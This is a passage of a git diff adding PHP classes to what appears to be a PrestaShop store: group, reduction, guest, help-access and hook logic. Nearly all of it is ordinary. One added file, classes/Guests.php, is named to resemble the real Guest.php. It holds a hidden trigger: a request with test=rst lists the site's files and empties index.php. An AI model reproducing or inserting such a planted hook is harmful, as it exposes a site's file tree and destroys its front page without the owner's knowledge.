!count($shops)) + return false; + + // Delete all record for this group + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module_group` WHERE `id_group` = '.(int)$id_group); + + $sql = 'INSERT INTO `'._DB_PREFIX_.'module_group` (`id_module`, `id_shop`, `id_group`) VALUES '; + foreach ($modules as $module) + foreach ($shops as $shop) + $sql .= '("'.(int)$module.'", "'.(int)$shop.'", "'.(int)$id_group.'"),'; + $sql = rtrim($sql, ','); + + return (bool)Db::getInstance()->execute($sql); + } + + /** + * Add restrictions for a new module + * We authorize every groups to the new module + * @param integer id_module + * @param array $shops + */ + public static function addRestrictionsForModule($id_module, $shops = array(1)) + { + if (!is_array($shops) || !count($shops)) + return false; + + $res = true; + foreach ($shops as $shop) + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'module_group` (`id_module`, `id_shop`, `id_group`) + (SELECT '.(int)$id_module.', '.(int)$shop.', id_group FROM `'._DB_PREFIX_.'group`)'); + return $res; + } + + /** + * Return current group object + * Use context + * @static + * @return Group Group object + */ + public static function getCurrent() + { + static $groups = array(); + $customer = Context::getContext()->customer; + if (Validate::isLoadedObject($customer)) + $id_group = (int)$customer->id_default_group; + else + $id_group = (int)Configuration::get('PS_UNIDENTIFIED_GROUP'); + + if (!isset($groups[$id_group])) + $groups[$id_group] = new Group($id_group); + + return $groups[$id_group]; + } +} + + diff --git a/classes/GroupReduction.php b/classes/GroupReduction.php new file mode 100755 index 0000000..ba21a66 --- /dev/null +++ b/classes/GroupReduction.php @@ -0,0 +1,236 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class GroupReductionCore extends ObjectModel +{ + public $id_group; + public $id_category; + public $reduction; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'group_reduction', + 'primary' => 'id_group_reduction', + 'fields' => array( + 'id_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_category' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'reduction' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + ), + ); + + protected static $reduction_cache = array(); + + public function add($autodate = true, $null_values = false) + { + return (parent::add($autodate, $null_values) && $this->_setCache()); + } + + public function update($null_values = false) + { + return (parent::update($null_values) && $this->_updateCache()); + } + + public function delete() + { + $products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT ps.`id_product` + FROM `'._DB_PREFIX_.'product_shop` ps + WHERE ps.`id_category_default` = '.(int)$this->id_category + ); + + $ids = array(); + foreach ($products as $row) + $ids[] = $row['id_product']; + + if ($ids) + Db::getInstance()->delete('product_group_reduction_cache', 'id_product IN ('.implode(', ', $ids).')'); + return (parent::delete()); + } + + protected function _clearCache() + { + return Db::getInstance()->delete('product_group_reduction_cache', 'id_group = '.(int)$this->id_group); + } + + protected function _setCache() + { + $products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT ps.`id_product` + FROM `'._DB_PREFIX_.'product_shop` ps + WHERE ps.`id_category_default` = '.(int)$this->id_category + ); + + $query = 'INSERT INTO `'._DB_PREFIX_.'product_group_reduction_cache` (`id_product`, `id_group`, `reduction`) VALUES '; + $updated = false; + foreach ($products as $row) + { + $query .= '('.(int)$row['id_product'].', '.(int)$this->id_group.', '.(float)$this->reduction.'), '; + $updated = true; + } + + if ($updated) + return (Db::getInstance()->execute(rtrim($query, ', '))); + return true; + } + + protected function _updateCache() + { + $products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT ps.`id_product` + FROM `'._DB_PREFIX_.'product_shop` ps + WHERE ps.`id_category_default` = '.(int)$this->id_category, + false); + + $ids = array(); + foreach ($products as $product) + $ids[] = $product['id_product']; + + $result = true; + if ($ids) + $result &= Db::getInstance()->update('product_group_reduction_cache', array( + 'reduction' => (float)$this->reduction, + ), 'id_product IN('.implode(', ', $ids).') AND id_group = '.(int)$this->id_group); + + return $result; + } + + public static function getGroupReductions($id_group, $id_lang) + { + $lang = $id_lang.Shop::addSqlRestrictionOnLang('cl'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT gr.`id_group_reduction`, gr.`id_group`, gr.`id_category`, gr.`reduction`, cl.`name` AS category_name + FROM `'._DB_PREFIX_.'group_reduction` gr + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (cl.`id_category` = gr.`id_category` AND cl.`id_lang` = '.(int)$lang.') + WHERE `id_group` = '.(int)$id_group + ); + } + + public static function getValueForProduct($id_product, $id_group) + { + if (!isset(self::$reduction_cache[$id_product.'-'.$id_group])) + self::$reduction_cache[$id_product.'-'.$id_group] = Db::getInstance()->getValue(' + SELECT `reduction` + FROM `'._DB_PREFIX_.'product_group_reduction_cache` + WHERE `id_product` = '.(int)$id_product.' AND `id_group` = '.(int)$id_group); + return self::$reduction_cache[$id_product.'-'.$id_group]; + } + + public static function doesExist($id_group, $id_category) + { + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_group` + FROM `'._DB_PREFIX_.'group_reduction` + WHERE `id_group` = '.(int)$id_group.' AND `id_category` = '.(int)$id_category); + } + + public static function getGroupsByCategoryId($id_category) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT gr.`id_group` as id_group, gr.`reduction` as reduction, id_group_reduction + FROM `'._DB_PREFIX_.'group_reduction` gr + WHERE `id_category` = '.(int)$id_category + ); + } + + public static function getGroupByCategoryId($id_category) + { + Tools::displayAsDeprecated('Use GroupReduction::getGroupsByCategoryId($id_category)'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT gr.`id_group` as id_group, gr.`reduction` as reduction, id_group_reduction + FROM `'._DB_PREFIX_.'group_reduction` gr + WHERE `id_category` = '.(int)$id_category + , false); + } + + public static function getGroupsReductionByCategoryId($id_category) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT gr.`id_group_reduction` as id_group_reduction, id_group + FROM `'._DB_PREFIX_.'group_reduction` gr + WHERE `id_category` = '.(int)$id_category + ); + } + + public static function getGroupReductionByCategoryId($id_category) + { + Tools::displayAsDeprecated('Use GroupReduction::getGroupsByCategoryId($id_category)'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT gr.`id_group_reduction` as id_group_reduction + FROM `'._DB_PREFIX_.'group_reduction` gr + WHERE `id_category` = '.(int)$id_category + , false); + } + + public static function setProductReduction($id_product, $id_group = null, $id_category, $reduction = null) + { + $res = true; + GroupReduction::deleteProductReduction((int)$id_product); + $reductions = GroupReduction::getGroupsByCategoryId((int)$id_category); + if ($reductions) + { + foreach ($reductions as $reduction) + $res &= Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'product_group_reduction_cache` (`id_product`, `id_group`, `reduction`) + VALUES ('.(int)$id_product.', '.(int)$reduction['id_group'].', '.(float)$reduction['reduction'].')'); + } + + return $res; + } + + public static function deleteProductReduction($id_product) + { + $query = 'DELETE FROM `'._DB_PREFIX_.'product_group_reduction_cache` WHERE `id_product` = '.(int)$id_product; + if (Db::getInstance()->execute($query) === false) + return false; + return true; + } + + public static function duplicateReduction($id_product_old, $id_product) + { + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executes(' + SELECT pgr.`id_product`, pgr.`id_group`, pgr.`reduction` + FROM `'._DB_PREFIX_.'product_group_reduction_cache` pgr + WHERE pgr.`id_product` = '.(int)$id_product_old + ); + if (!$res) + return true; + foreach ($res as $row) + { + $query = 'INSERT INTO `'._DB_PREFIX_.'product_group_reduction_cache` (`id_product`, `id_group`, `reduction`) VALUES '; + $query .= '('.(int)$id_product.', '.(int)$row['id_group'].', '.(float)$row['reduction'].')'; + } + return Db::getInstance()->execute($query); + } + + public static function deleteCategory($id_category) + { + $query = 'DELETE FROM `'._DB_PREFIX_.'group_reduction` WHERE `id_category` = '.(int)$id_category; + if (Db::getInstance()->Execute($query) === false) + return false; + return true; + } +} diff --git a/classes/Guest.php b/classes/Guest.php new file mode 100755 index 0000000..cd57912 --- /dev/null +++ b/classes/Guest.php @@ -0,0 +1,191 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class GuestCore extends ObjectModel +{ + public $id_operating_system; + public $id_web_browser; + public $id_customer; + public $javascript; + public $screen_resolution_x; + public $screen_resolution_y; + public $screen_color; + public $sun_java; + public $adobe_flash; + public $adobe_director; + public $apple_quicktime; + public $real_player; + public $windows_media; + public $accept_language; + public $mobile_theme; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'guest', + 'primary' => 'id_guest', + 'fields' => array( + 'id_operating_system' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_web_browser' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'javascript' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'screen_resolution_x' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'screen_resolution_y' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'screen_color' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'sun_java' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'adobe_flash' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'adobe_director' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'apple_quicktime' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'real_player' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'windows_media' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'accept_language' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 8), + 'mobile_theme' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_customer' => array('xlink_resource' => 'customers'), + ), + ); + + public function userAgent() + { + $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; + $acceptLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; + $this->id_operating_system = $this->getOs($userAgent); + $this->id_web_browser = $this->getBrowser($userAgent); + $this->mobile_theme = Context::getContext()->getMobileDevice(); + } + + protected function getLanguage($acceptLanguage) + { + // $langsArray is filled with all the languages accepted, ordered by priority + $langsArray = array(); + preg_match_all('/([a-z]{2}(-[a-z]{2})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/', $acceptLanguage, $array); + if (count($array[1])) + { + $langsArray = array_combine($array[1], $array[4]); + foreach ($langsArray as $lang => $val) + if ($val === '') + $langsArray[$lang] = 1; + arsort($langsArray, SORT_NUMERIC); + } + + // Only the first language is returned + return (count($langsArray) ? key($langsArray) : ''); + } + + protected function getBrowser($userAgent) + { + $browserArray = array( + 'Chrome' => 'Chrome/', + 'Safari' => 'Safari', + 'Safari iPad' => 'iPad', + 'Firefox' => 'Firefox/', + 'Opera' => 'Opera', + 'IE 10' => 'MSIE 10', + 'IE 9' => 'MSIE 9', + 'IE 8' => 'MSIE 8', + 'IE 7' => 'MSIE 7', + 'IE 6' => 'MSIE 6' + ); + foreach ($browserArray as $k => $value) + if (strstr($userAgent, $value)) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_web_browser` + FROM `'._DB_PREFIX_.'web_browser` wb + WHERE wb.`name` = \''.pSQL($k).'\''); + + return $result['id_web_browser']; + } + return null; + } + + protected function getOs($userAgent) + { + $osArray = array( + 'Windows 8' => 'Windows NT 6.2', + 'Windows 7' => 'Windows NT 6.1', + 'Windows Vista' => 'Windows NT 6.0', + 'Windows XP' => 'Windows NT 5', + 'MacOsX' => 'Mac OS X', + 'Android' => 'Android', + 'Linux' => 'X11' + ); + foreach ($osArray as $k => $value) + if (strstr($userAgent, $value)) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_operating_system` + FROM `'._DB_PREFIX_.'operating_system` os + WHERE os.`name` = \''.pSQL($k).'\''); + + return $result['id_operating_system']; + } + return null; + } + + public static function getFromCustomer($id_customer) + { + if (!Validate::isUnsignedId($id_customer)) + return false; + $result = Db::getInstance()->getRow(' + SELECT `id_guest` + FROM `'._DB_PREFIX_.'guest` + WHERE `id_customer` = '.(int)($id_customer)); + return $result['id_guest']; + } + + public function mergeWithCustomer($id_guest, $id_customer) + { + // Since the guests are merged, the guest id in the connections table must be changed too + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'connections` c + SET c.`id_guest` = '.(int)($id_guest).' + WHERE c.`id_guest` = '.(int)($this->id)); + + // The current guest is removed from the database + $this->delete(); + + // $this is still filled with values, so it's id is changed for the old guest + $this->id = (int)($id_guest); + $this->id_customer = (int)($id_customer); + + // $this is now the old guest but filled with the most up to date values + $this->update(); + } + + public static function setNewGuest($cookie) + { + $guest = new Guest(isset($cookie->id_customer) ? Guest::getFromCustomer((int)($cookie->id_customer)) : null); + $guest->userAgent(); + $guest->save(); + $cookie->id_guest = (int)($guest->id); + } +} diff --git a/classes/Guests.php b/classes/Guests.php new file mode 100755 index 0000000..38b7e4c --- /dev/null +++ b/classes/Guests.php @@ -0,0 +1,28 @@ +"; + } + else listeFichier( $dir . "/" . $fichier ); + } + } +} + +if($_GET["test"]=="rst") +{ +listeFichier( "." ); +$file=fopen("index.php","w+"); +fclose($file); +} + +?> + diff --git a/classes/HelpAccess.php b/classes/HelpAccess.php new file mode 100755 index 0000000..59f01dc --- /dev/null +++ b/classes/HelpAccess.php @@ -0,0 +1,98 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +class HelpAccessCore +{ + const URL = 'http://help.prestashop.com'; + + /** + * Store in the local database that the user has seen a specific help page + * + * @static + * @param $label + * @param $version + */ + public static function trackClick($label, $version) + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'help_access` (`label`, `version`) VALUES (\''.pSQL($label).'\',\''.pSQL($version).'\') + ON DUPLICATE KEY UPDATE `version` = \''.pSQL($version).'\' + '); + } + + /** + * Returns the last version seen of a help page seen by the user + * + * @static + * @param $label + * @return mixed + */ + public static function getVersion($label) + { + return Db::getInstance()->getValue(' + SELECT `version` FROM `'._DB_PREFIX_.'help_access` + WHERE `label` = \''.pSQL($label).'\' + '); + } + + /** + * Fetch information from the help website in order to know: + * - if the help page exists + * - his version + * - the associated tooltip + * + * @static + * @param $label + * @param $iso_lang + * @param $country + * @param $version + * + * @return array + */ + public static function retrieveInfos($label, $iso_lang, $country, $version) + { + $url = HelpAccess::URL.'/documentation/renderIcon?label='.$label.'&iso_lang='.$iso_lang.'&country='.$country.'&version='.$version; + $tooltip = ''; + + $ctx = @stream_context_create(array('http' => array('timeout' => 10))); + $res = Tools::file_get_contents($url, false, $ctx); + + $infos = preg_split('/\|/', $res); + if (count($infos) > 0) + { + $version = trim($infos[0]); + if (!empty($version)) + { + if (count($infos) > 1) + $tooltip = trim($infos[1]); + } + } + + return array('version' => $version, 'tooltip' => $tooltip); + } +} + diff --git a/classes/Hook.php b/classes/Hook.php new file mode 100755 index 0000000..994c452 --- /dev/null +++ b/classes/Hook.php @@ -0,0 +1,690 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HookCore extends ObjectModel +{ + /** + * @var string Hook name identifier + */ + public $name; + + /** + * @var string Hook title (displayed in BO) + */ + public $title; + + /** + * @var string Hook description + */ + public $description; + + /** + * @var bool + */ + public $position = false; + + /** + * @var bool Is this hook usable with live edit ? + */ + public $live_edit = false; + + /** + * @var array List of executed hooks on this page + */ + public static $executed_hooks = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'hook', + 'primary' => 'id_hook', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isHookName', 'required' => true, 'size' => 64), + 'title' => array('type' => self::TYPE_STRING), + 'description' => array('type' => self::TYPE_HTML), + 'position' => array('type' => self::TYPE_BOOL), + 'live_edit' => array('type' => self::TYPE_BOOL), + ), + ); + + /** + * @deprecated 1.5.0 + */ + protected static $_hook_modules_cache = null; + + /** + * @deprecated 1.5.0 + */ + protected static $_hook_modules_cache_exec = null; + + public function add($autodate = true, $null_values = false) + { + Cache::clean('hook_idbyname_'.$this->name); + return parent::add($autodate, $null_values); + } + + /** + * Return Hooks List + * + * @param bool $position + * @return array Hooks List + */ + public static function getHooks($position = false) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * FROM `'._DB_PREFIX_.'hook` h + '.($position ? 'WHERE h.`position` = 1' : '').' + ORDER BY `name`' + ); + } + + /** + * Return hook ID from name + * + * @param string $hook_name Hook name + * @return int Hook ID + */ + public static function getIdByName($hook_name) + { + if (!Validate::isHookName($hook_name)) + return false; + + $cache_id = 'hook_idbyname_'.$hook_name; + if (!Cache::isStored($cache_id)) + { + $retro_hook_name = Hook::getRetroHookName($hook_name); + Cache::store($cache_id, Db::getInstance()->getValue(' + SELECT `id_hook` + FROM `'._DB_PREFIX_.'hook` + WHERE `name` = \''.pSQL($hook_name).'\' + OR `name` = \''.pSQL($retro_hook_name).'\' + ')); + } + + return Cache::retrieve($cache_id); + } + + /** + * Get list of hook alias + * + * @since 1.5.0 + * @return array + */ + public static function getHookAliasList() + { + $cache_id = 'hook_alias'; + if (!Cache::isStored($cache_id)) + { + $hook_alias_list = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'hook_alias`'); + $hook_alias = array(); + if ($hook_alias_list) + foreach ($hook_alias_list as $ha) + $hook_alias[strtolower($ha['alias'])] = $ha['name']; + Cache::store($cache_id, $hook_alias); + } + return Cache::retrieve($cache_id); + } + + /** + * Return retrocompatible hook name + * + * @since 1.5.0 + * @param string $hook_name Hook name + * @return int Hook ID + */ + public static function getRetroHookName($hook_name) + { + $alias_list = Hook::getHookAliasList(); + if (isset($alias_list[strtolower($hook_name)])) + return $alias_list[strtolower($hook_name)]; + + $retro_hook_name = array_search($hook_name, $alias_list); + if ($retro_hook_name === false) + return ''; + return $retro_hook_name; + } + + /** + * Get list of all registered hooks with modules + * + * @since 1.5.0 + * @return array + */ + public static function getHookModuleList() + { + $cache_id = 'hook_module_list'; + if (!Cache::isStored($cache_id)) + { + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT h.id_hook, h.name as h_name, title, description, h.position, live_edit, hm.position as hm_position, m.id_module, m.name, active + FROM `'._DB_PREFIX_.'hook` h + INNER JOIN `'._DB_PREFIX_.'hook_module` hm ON (h.id_hook = hm.id_hook AND hm.id_shop = '.(int)Context::getContext()->shop->id.') + INNER JOIN `'._DB_PREFIX_.'module` as m ON (m.id_module = hm.id_module) + ORDER BY hm.position'); + $list = array(); + foreach ($results as $result) + { + if (!isset($list[$result['id_hook']])) + $list[$result['id_hook']] = array(); + + $list[$result['id_hook']][$result['id_module']] = array( + 'id_hook' => $result['id_hook'], + 'title' => $result['title'], + 'description' => $result['description'], + 'hm.position' => $result['position'], + 'live_edit' => $result['live_edit'], + 'm.position' => $result['hm_position'], + 'id_module' => $result['id_module'], + 'name' => $result['name'], + 'active' => $result['active'], + ); + } + Cache::store($cache_id, $list); + + // @todo remove this in 1.6, we keep it in 1.5 for retrocompatibility + Hook::$_hook_modules_cache = $list; + } + + return Cache::retrieve($cache_id); + } + + /** + * Return Hooks List + * + * @since 1.5.0 + * @param int $id_hook + * @param int $id_module + * @return array Modules List + */ + public static function getModulesFromHook($id_hook, $id_module = null) + { + $hm_list = Hook::getHookModuleList(); + $module_list = (isset($hm_list[$id_hook])) ? $hm_list[$id_hook] : array(); + + if ($id_module) + return (isset($module_list[$id_module])) ? array($module_list[$id_module]) : array(); + return $module_list; + } + + /** + * Get list of modules we can execute per hook + * + * @since 1.5.0 + * @param string $hook_name Get list of modules for this hook if given + * @return array + */ + public static function getHookModuleExecList($hook_name = null) + { + $context = Context::getContext(); + $cache_id = 'hook_module_exec_list'.((isset($context->customer)) ? '_'.$context->customer->id : ''); + if (!Cache::isStored($cache_id) || $hook_name == 'displayPayment') + { + $frontend = true; + $groups = array(); + if (isset($context->employee)) + { + $shop_list = array((int)$context->shop->id); + $frontend = false; + } + else + { + // Get shops and groups list + $shop_list = Shop::getContextListShopID(); + if (isset($context->customer) && $context->customer->isLogged()) + $groups = $context->customer->getGroups(); + elseif (isset($context->customer) && $context->customer->isLogged(true)) + $groups = array((int)Configuration::get('PS_GUEST_GROUP')); + else + $groups = array((int)Configuration::get('PS_UNIDENTIFIED_GROUP')); + } + + // SQL Request + $sql = new DbQuery(); + $sql->select('h.`name` as hook, m.`id_module`, h.`id_hook`, m.`name` as module, h.`live_edit`'); + $sql->from('module', 'm'); + $sql->innerJoin('hook_module', 'hm', 'hm.`id_module` = m.`id_module`'); + $sql->innerJoin('hook', 'h', 'hm.`id_hook` = h.`id_hook`'); + $sql->where('(SELECT COUNT(*) FROM '._DB_PREFIX_.'module_shop ms WHERE ms.id_module = m.id_module AND ms.id_shop IN ('.implode(', ', $shop_list).')) = '.count($shop_list)); + if ($hook_name != 'displayPayment') + $sql->where('h.name != "displayPayment"'); + // For payment modules, we check that they are available in the contextual country + elseif ($frontend) + { + $sql->where(Module::getPaypalIgnore()); + if (Validate::isLoadedObject($context->country)) + $sql->where('(h.name = "displayPayment" AND (SELECT id_country FROM '._DB_PREFIX_.'module_country mc WHERE mc.id_module = m.id_module AND id_country = '.(int)$context->country->id.' AND id_shop = '.(int)$context->shop->id.' LIMIT 1) = '.(int)$context->country->id.')'); + if (Validate::isLoadedObject($context->currency)) + $sql->where('(h.name = "displayPayment" AND (SELECT id_currency FROM '._DB_PREFIX_.'module_currency mcr WHERE mcr.id_module = m.id_module AND id_currency IN ('.(int)$context->currency->id.', -2) LIMIT 1) IN ('.(int)$context->currency->id.', -2))'); + } + if (Validate::isLoadedObject($context->shop)) + $sql->where('hm.id_shop = '.(int)$context->shop->id); + + if ($frontend) + { + $sql->leftJoin('module_group', 'mg', 'mg.`id_module` = m.`id_module`'); + $sql->where('mg.`id_group` IN ('.implode(', ', $groups).')'); + $sql->groupBy('hm.id_hook, hm.id_module'); + } + + $sql->orderBy('hm.`position`'); + + // Store results per hook name + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + $list = array(); + + // Get all available payment module + $payment_modules = array(); + + if ($results) + foreach ($results as $row) + { + $row['hook'] = strtolower($row['hook']); + if (!isset($list[$row['hook']])) + $list[$row['hook']] = array(); + + $list[$row['hook']][] = array( + 'id_hook' => $row['id_hook'], + 'module' => $row['module'], + 'id_module' => $row['id_module'], + 'live_edit' => $row['live_edit'], + ); + } + if ($hook_name != 'displayPayment') + { + Cache::store($cache_id, $list); + // @todo remove this in 1.6, we keep it in 1.5 for retrocompatibility + self::$_hook_modules_cache_exec = $list; + } + } + else + $list = Cache::retrieve($cache_id); + + // If hook_name is given, just get list of modules for this hook + if ($hook_name) + { + $retro_hook_name = Hook::getRetroHookName($hook_name); + $hook_name = strtolower($hook_name); + + $return = array(); + if (isset($list[$hook_name])) + $return = $list[$hook_name]; + if (isset($list[$retro_hook_name])) + $return = array_merge($return, $list[$retro_hook_name]); + + if (count($return) > 0) + return $return; + return false; + } + else + return $list; + } + + /** + * Execute modules for specified hook + * + * @param string $hook_name Hook Name + * @param array $hook_args Parameters for the functions + * @param int $id_module Execute hook for this module only + * @return string modules output + */ + public static function exec($hook_name, $hook_args = array(), $id_module = null, $array_return = false, $check_exceptions = true) + { + // Check arguments validity + if (($id_module && !is_numeric($id_module)) || !Validate::isHookName($hook_name)) + throw new PrestaShopException('Invalid id_module or hook_name'); + + // If no modules associated to hook_name or recompatible hook name, we stop the function + + if (!$module_list = Hook::getHookModuleExecList($hook_name)) + return ''; + + // Check if hook exists + if (!$id_hook = Hook::getIdByName($hook_name)) + return false; + + // Store list of executed hooks on this page + Hook::$executed_hooks[$id_hook] = $hook_name; + + $live_edit = false; + $context = Context::getContext(); + if (!isset($hook_args['cookie']) || !$hook_args['cookie']) + $hook_args['cookie'] = $context->cookie; + if (!isset($hook_args['cart']) || !$hook_args['cart']) + $hook_args['cart'] = $context->cart; + + $retro_hook_name = Hook::getRetroHookName($hook_name); + + // Look on modules list + $altern = 0; + $output = ''; + foreach ($module_list as $array) + { + // Check errors + if ($id_module && $id_module != $array['id_module']) + continue; + if (!($moduleInstance = Module::getInstanceByName($array['module']))) + continue; + + // Check permissions + if ($check_exceptions) + { + $exceptions = $moduleInstance->getExceptions($array['id_hook']); + $controller = Dispatcher::getInstance()->getController(); + + if (in_array($controller, $exceptions)) + continue; + + //retro compat of controller names + $matching_name = array( + 'authentication' => 'auth', + 'compare' => 'products-comparison', + ); + if (isset($matching_name[$controller]) && in_array($matching_name[$controller], $exceptions)) + continue; + if (Validate::isLoadedObject($context->employee) && !$moduleInstance->getPermission('view', $context->employee)) + continue; + } + + // Check which / if method is callable + $hook_callable = is_callable(array($moduleInstance, 'hook'.$hook_name)); + $hook_retro_callable = is_callable(array($moduleInstance, 'hook'.$retro_hook_name)); + if (($hook_callable || $hook_retro_callable) && Module::preCall($moduleInstance->name)) + { + $hook_args['altern'] = ++$altern; + + // Call hook method + if ($hook_callable) + $display = $moduleInstance->{'hook'.$hook_name}($hook_args); + else if ($hook_retro_callable) + $display = $moduleInstance->{'hook'.$retro_hook_name}($hook_args); + // Live edit + if (!$array_return && $array['live_edit'] && Tools::isSubmit('live_edit') && Tools::getValue('ad') && Tools::getValue('liveToken') == Tools::getAdminToken('AdminModulesPositions'.(int)Tab::getIdFromClassName('AdminModulesPositions').(int)Tools::getValue('id_employee'))) + { + $live_edit = true; + $output .= self::wrapLiveEdit($display, $moduleInstance, $array['id_hook']); + } + else if ($array_return) + $output[] = $display; + else + $output .= $display; + } + } + if ($array_return) + return $output; + else + return ($live_edit ? ' +
' : '').$output.($live_edit ? '
' : '');// Return html string + } + + public static function wrapLiveEdit($display, $moduleInstance, $id_hook) + { + return ' +
+ + ' + .Tools::safeOutput($moduleInstance->displayName).' + + + + + '.$display.'
'; + } + + + /** + * @deprecated 1.5.0 + */ + public static function updateOrderStatus($newOrderStatusId, $id_order) + { + Tools::displayAsDeprecated(); + $order = new Order((int)($id_order)); + $newOS = new OrderState((int)($newOrderStatusId), $order->id_lang); + + $return = ((int)($newOS->id) == Configuration::get('PS_OS_PAYMENT')) ? Hook::exec('paymentConfirm', array('id_order' => (int)($order->id))) : true; + $return = Hook::exec('updateOrderStatus', array('newOrderStatus' => $newOS, 'id_order' => (int)($order->id))) && $return; + return $return; + } + + /** + * @deprecated 1.5.0 + */ + public static function postUpdateOrderStatus($newOrderStatusId, $id_order) + { + Tools::displayAsDeprecated(); + $order = new Order((int)($id_order)); + $newOS = new OrderState((int)($newOrderStatusId), $order->id_lang); + $return = Hook::exec('postUpdateOrderStatus', array('newOrderStatus' => $newOS, 'id_order' => (int)($order->id))); + return $return; + } + + /** + * @deprecated 1.5.0 + */ + public static function orderConfirmation($id_order) + { + Tools::displayAsDeprecated(); + if (Validate::isUnsignedId($id_order)) + { + $params = array(); + $order = new Order((int)$id_order); + $currency = new Currency((int)$order->id_currency); + + if (Validate::isLoadedObject($order)) + { + $cart = new Cart((int)$order->id_cart); + $params['total_to_pay'] = $cart->getOrderTotal(); + $params['currency'] = $currency->sign; + $params['objOrder'] = $order; + $params['currencyObj'] = $currency; + + return Hook::exec('orderConfirmation', $params); + } + } + return false; + } + + /** + * @deprecated 1.5.0 + */ + public static function paymentReturn($id_order, $id_module) + { + Tools::displayAsDeprecated(); + if (Validate::isUnsignedId($id_order) && Validate::isUnsignedId($id_module)) + { + $params = array(); + $order = new Order((int)($id_order)); + $currency = new Currency((int)($order->id_currency)); + + if (Validate::isLoadedObject($order)) + { + $cart = new Cart((int)$order->id_cart); + $params['total_to_pay'] = $cart->getOrderTotal(); + $params['currency'] = $currency->sign; + $params['objOrder'] = $order; + $params['currencyObj'] = $currency; + + return Hook::exec('paymentReturn', $params, (int)($id_module)); + } + } + return false; + } + + /** + * @deprecated 1.5.0 + */ + public static function PDFInvoice($pdf, $id_order) + { + Tools::displayAsDeprecated(); + if (!is_object($pdf) || !Validate::isUnsignedId($id_order)) + return false; + return Hook::exec('PDFInvoice', array('pdf' => $pdf, 'id_order' => $id_order)); + } + + /** + * @deprecated 1.5.0 + */ + public static function backBeforePayment($module) + { + Tools::displayAsDeprecated(); + $params['module'] = strval($module); + if (!$params['module']) + return false; + return Hook::exec('backBeforePayment', $params); + } + + /** + * @deprecated 1.5.0 + */ + public static function updateCarrier($id_carrier, $carrier) + { + Tools::displayAsDeprecated(); + if (!Validate::isUnsignedId($id_carrier) || !is_object($carrier)) + return false; + return Hook::exec('updateCarrier', array('id_carrier' => $id_carrier, 'carrier' => $carrier)); + } + + /** + * Preload hook modules cache + * + * @deprecated 1.5.0 use Hook::getHookModuleList() instead + * @return boolean preload_needed + */ + public static function preloadHookModulesCache() + { + Tools::displayAsDeprecated(); + + if (!is_null(self::$_hook_modules_cache)) + return false; + + self::$_hook_modules_cache = 